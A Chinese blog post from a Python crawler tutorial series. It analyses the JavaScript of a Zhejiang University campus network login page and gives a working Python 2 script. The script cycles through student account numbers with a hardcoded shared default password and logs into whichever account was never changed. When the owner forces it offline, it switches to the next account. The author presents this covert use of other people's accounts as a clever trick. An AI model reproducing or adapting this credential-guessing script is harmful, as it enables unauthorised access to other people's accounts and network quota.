Python爬虫学习(7):浙大软院网络登陆保持

  在浏览器的验证窗口中输入登陆名和密码后,成功后会弹出一个小的新窗口,如果不小心关闭了这个窗口,则就会无法联网。如果说我在一个不带有桌面的Linux系统中,我是不能够通过浏览器接入网络的,虽然提供了不同系统的不同版本的客户端(没有用过),但是还是想自己做一个玩玩,同时依据上一篇博客中获取到的帐号进行尝试登陆。

1. 页面分析

  首先还是先来看一下登陆验证页面,因为上一片博客中已经对其进行了分析,这里我们看看其它的:

  

    上边的代码是登陆成功后设置 document.form1.uid.value 的值,在Cookie中保存值,打开新窗口。

# 新窗口打开的网址为: http://192.0.0.6/login.html。其中location.search相当于无用,可以不管
# "user_login":窗体的名称
# width,height:窗口的宽和高
window.open("login.html"+location.search,"user_login","width=428,height=296"); 

    执行完上述代码之后就弹出了如下的登陆保持窗口(关掉之后就会断网):

    图片:

    当这个新窗口开启后就会执行下边的代码:

<script type="text/javascript">
// 调用父窗口(也就是打开这个窗口的登陆验证窗口)中的get_uid()函数,获取uid(登陆成功后返回的一串数字)。
document.form1.uid.value=window.opener.get_uid();
// 调用父窗口的关闭函数(其实那个函数什么都没有做,啥都没有用)
window.opener.do_close();
document.getElementById("title1").innerHTML=window.opener.get_uname()+"已经登录。<br/>请不要关闭本页面,关闭本页面后将自动下网。";
if(document.form1.uid.value != "")
{   //调用get_url()方法
    setTimeout("get_url()", 1000);
}
else
{
    alert("登录失败");
    window.close();
}
</script>

  下来我们看一下 get_url 方法是干什么的,实际上就是将父窗口重定为到浙大软件学院的网址。

 function get_url()
 {
     // 实际上跑去访问  http://192.0.0.6/cgi-bin/get_url 地址,而这个地址返回的是一个网址
        var res=postData("/cgi-bin/get_url"+location.search, "get", "");
    // 判断返回的是不是一个网址,如果是就将父窗口调转到这个网址(实际上这个网址就是   http://www.cst.zju.edu.cn/   浙大软院的网址)
     var p=/^http:\/\/.+/;
     if(p.test(res))
         window.opener.jump_to(res);
     else
         window.opener.history.go(-2);
     return;
 }    

  页面中还有一个方法 keeplive() 方法,看着好像很厉害的样子,然并卵,其实只有在点击 查看按钮的时候才响应,不过我们模拟登陆的时候却需要这个处理逻辑,判断我自己是否已经被别人强退,如果强退了之后,我们就尝试登陆下一个,然后循环往复,总会有不在使用的吧(嘿嘿嘿,真是机智。。)

 function keeplive()
 {
     var con=postData("/cgi-bin/keeplive", "post", "uid="+document.form1.uid.value);
     //alert(con);
     var p=/^[\d]+,[\d]+,[\d]+$/;

     if(p.test(con))
     {
         var arr=new Array;
         arr=con.split(‘,‘);
         document.getElementById("time_long").innerHTML=format_time(arr[0]);
         document.getElementById("balance_in").innerHTML=format_flux(arr[1]);
         document.getElementById("balance_out").innerHTML=format_flux(arr[2]);
         err=0;
     }
     else
     {
         if(err>=5)
         {
             alert("与服务器的连接中断");
             window.close();
             return;
         }
         else if(con=="status_error")
         {
             alert("您的帐户余额不足");
             window.close();
             return;
         }
         else if(con=="available_error")
         {
             alert("您的帐户被禁用");
             window.close();
             return;
         }
         else if(con=="drop_error")
         {
             alert("您被强制下线");
             window.close();
             return;
         }
         else if(con=="flux_error")
         {
             alert("您的流量已超支");
             window.close();
             return;
         }
         else if(con=="minutes_error")
         {
             alert("您的时长已超支");
             window.close();
             return;
         }
         else
         {
             err++;
         }

     }

 }

  其比较重要的方法是 do_logout,我们之所以关闭了这个页面就无法上网的原因就是这个函数的啦。

// 访问 /cgi-bin/do_logout,并注销这次登陆,好吧,只要我不主动去调用它就永远不会注销落。
 function do_logout(flg)
 {
     if(flg!="" && !confirm("是否要登出?"))
         return;
     //clearTimeout(tm);
     var con=postData("/cgi-bin/do_logout", "post", "uid="+document.form1.uid.value);
     //alert(con);
     if(con=="logout_ok")
     {
         //clearTimeout(tm);
         window.close();
     }
     else
     {
         alert("操作失败");
     }
 }

2.  过程实现

  理清楚了页面的代码逻辑,下来就要用python来模拟登陆。过程主要为:获取未改密码的用户帐,然后在这些帐号中选择未登陆帐号登陆,登陆成功后一直监视登陆后的情况,如果被强制下线,我们就尝试另一个帐号。

  

#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os
import time

class PseudoLogin:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.status_url = "http://192.0.0.6/cgi-bin/keeplive"
        self.logout_url = "http://192.0.0.6/cgi-bin/do_logout"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"     # 需要更改起始和结束帐号
        self.start = *****
        self.end = ******
        self.check_time = 5
        # 当前登陆的帐号
        self.current = self.start
        # 登陆成功后返回的数字字符串
        self.uid = ""

    # 循环测试帐号,知道有一个帐号可以通过初始密码登陆
    def cycle_login(self):
        # 初始密码
        password="65da38ecd0b30a5a"
        # 匹配全是数字的字符串
        pattern = re.compile(r"^[\d]+$")
        # 当已经访问到最后的时候,且最后一个帐号没有登陆成功的时候,又重头来一次
        if (self.current >= self.end):
            print "将重头再来一次.."
            self.current = self.start
        for username in range(self.current,self.end + 1):
            self.current = username
            ret = self.access(str(username),password)
            if re.match(pattern,ret):
                self.uid = ret
                print "已经成功登陆...,可以上网了"
                print "当前网号为: "+str(username)
                print "uid为: " + ret
                return True

        return False

    def access(self,username,password):
        data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        print "the login result : " + content
        return content

    # 获取登陆上网后的状态
    def get_status(self):
        data="uid="+self.uid
        req = urllib2.Request(self.status_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        print "the keepalive result : " + content
        return content

    # 登出
    def logout(self):
        data="uid="+self.uid
        #data="uid="+identity
        req = urllib2.Request(self.logout_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        print "the logout result : " + content
        return content

    # 登陆上网之后一直监测上网状态,如果被强制下线就返回
    def suffer(self):
        # 循环测试,直到能够登陆
        while(not self.cycle_login()):
            pass
        # 当返回的是三个数字并且已逗号隔开的时候表示依然在线
        pattern = re.compile(r"^[\d]+,[\d]+,[\d]+$")
        # 每过5秒访问一下状态
        while(True):
            time.sleep(self.check_time)
            status = self.get_status()
            if re.match(pattern,status):
                print "it is still online"
            else:
                print "sorry you are offline"
                # 如果被强制下线,则自动加1,不然又会登上这个帐号
                self.current = self.current + 1
                print "下线后需要等一会儿才能再登陆"
                time.sleep(30)
                break
        # 如果while循环退出表示上网失败了
        return False

    # 这个函数将会一直执行
    def enjoy(self):
        while(not self.suffer()):
            pass

login = PseudoLogin()
login.enjoy()

  执行上述代码后将不再掉线啰,nice

   

    

    

       

时间: 2024-10-05 23:54:11

Python爬虫学习(7):浙大软院网络登陆保持的相关文章

Python爬虫学习系列教程

Python爬虫学习系列教程 大家好哈,我呢最近在学习Python爬虫,感觉非常有意思,真的让生活可以方便很多.学习过程中我把一些学习的笔记总结下来,还记录了一些自己实际写的一些小爬虫,在这里跟大家一同分享,希望对Python爬虫感兴趣的童鞋有帮助,如果有机会期待与大家的交流. Python版本:2.7 一.爬虫入门 1. Python爬虫入门一之综述 2. Python爬虫入门二之爬虫基础了解 3. Python爬虫入门三之Urllib库的基本使用 4. Python爬虫入门四之Urllib库

Python爬虫学习路线,强烈建议收藏这十一条

(一)如何学习Python 学习Python大致可以分为以下几个阶段: 1.刚上手的时候肯定是先过一遍Python最基本的知识,比如说:变量.数据结构.语法等,基础过的很快,基本上1~2周时间就能过完了,我当时是在这儿看的基础:Python 简介 | 菜鸟教程 2.看完基础后,就是做一些小项目巩固基础,比方说:做一个终端计算器,如果实在找不到什么练手项目,可以在 Codecademy - learn to code, interactively, for free 上面进行练习. 如果时间充裕的

Python爬虫学习:四、headers和data的获取

之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.com/ 打开网页,按下F12键,如下图所示: 点击下方标签中的Network,如下: 之后再点击下图所示位置: 找到红色下划线位置所示的标签并点击,在右边的显示内容中可以查看到所需要的headers信息. 一般只需要添加User-Agent这一信息就足够了,headers同样也是字典类型: user

Python爬虫学习:三、爬虫的基本操作流程

本文是博主原创随笔,转载时请注明出处Maple2cat|Python爬虫学习:三.爬虫的基本操作与流程 一般我们使用Python爬虫都是希望实现一套完整的功能,如下: 1.爬虫目标数据.信息: 2.将数据或信息存入数据库中: 3.数据展示,即在Web端进行显示,并有自己的分析说明. 这次我先介绍第一个功能中所需要实现的基本操作: 爬虫的基本操作:      表示必须步骤           表示可选步骤 导入爬虫所需要的库(如:urllib.urllib2.BeautifulSoup.Scrap

2018/7/21 Python 爬虫学习

2018/7/21,这几天整理出来的一些Python 爬虫学习代码. import urllib2 response = urllib2.urlopen("http://baidu.com") html = response.read() print html 进一步,可以request import urllib2 req = urllib2.Request("http://www.baidu.com") response = urllib2.urlopen(re

Python爬虫学习(7):浙大软院网号嗅探

软院这边网速是挺不错的,而且在宿舍和实验室都是可以通过学号直接登陆的上网的,但是..有的时候实验室的台式机需要一个网号,笔记本需要一个网号,或者再加上一个路由器需要一个,然后,感觉网号托托的不够呀.刚开学分配网号的时候,每个人的密码都初始为同一个,嘿嘿...有些人其实懒得去改,或者是去了遥远的杭州,然后,这些网号可能闲置了,嘿嘿.所以这一次的目的就是嗅探这些没有更改过网号密码的网号,然后,你懂得.但是作为一个四好青年,我不会狠到去更改他们的密码,只是在他们没有上网的时候借用他们的网号,当他们要上

开始我的Python爬虫学习之路

因为工作需要经常收集一些数据,我就想通过学爬虫来实现自动化完成比较重复的任务. 目前我Python的状况,跟着敲了几个教程,也算是懂点基础,具体比较深入的知识,是打算从做项目中慢慢去了解学习. 我是觉得如果一开始就钻细节的话,是很容易受到打击而放弃的,做点小项目让自己获得点成就感路才更容易更有信心走下去. 反正遇到不懂的就多查多问就对了. 知乎上看了很多关于入门Python爬虫的问答,给自己总结出了大概的学习方向. 基础: HTML&CSS,JOSN,HTTP协议(这些要了解,不太需要精通) R

Python实战:Python爬虫学习教程,获取电影排行榜

Python应用现在如火如荼,应用范围很广.因其效率高开发迅速的优势,快速进入编程语言排行榜前几名.本系列文章致力于可以全面系统的介绍Python语言开发知识和相关知识总结.希望大家能够快速入门并学习Python这门语言. 本文是在前一部分Python基础之上程序员带你十天快速入门Python,玩转电脑软件开发(四),再次进行的Python爬虫实战课程. 正则表达式实例简单详解 正则表达式干什么用? 就是在字符串中提取我们需要的内容的. 记得哦,要先引用正则表达式模块的哦. re就是正则表达式相

爬虫学习之一个简单的网络爬虫

这是一个网络爬虫学习的技术分享,主要通过一些实际的案例对爬虫的原理进行分析,达到对爬虫有个基本的认识,并且能够根据自己的需要爬到想要的数据.有了数据后可以做数据分析或者通过其他方式重新结构化展示. 什么是网络爬虫 网络爬虫(又被称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本.另外一些不常使用的名字还有蚂蚁.自动索引.模拟程序或者蠕虫.via 百度百科网络爬虫 网络蜘蛛(Web spider)也叫网络爬虫(Web c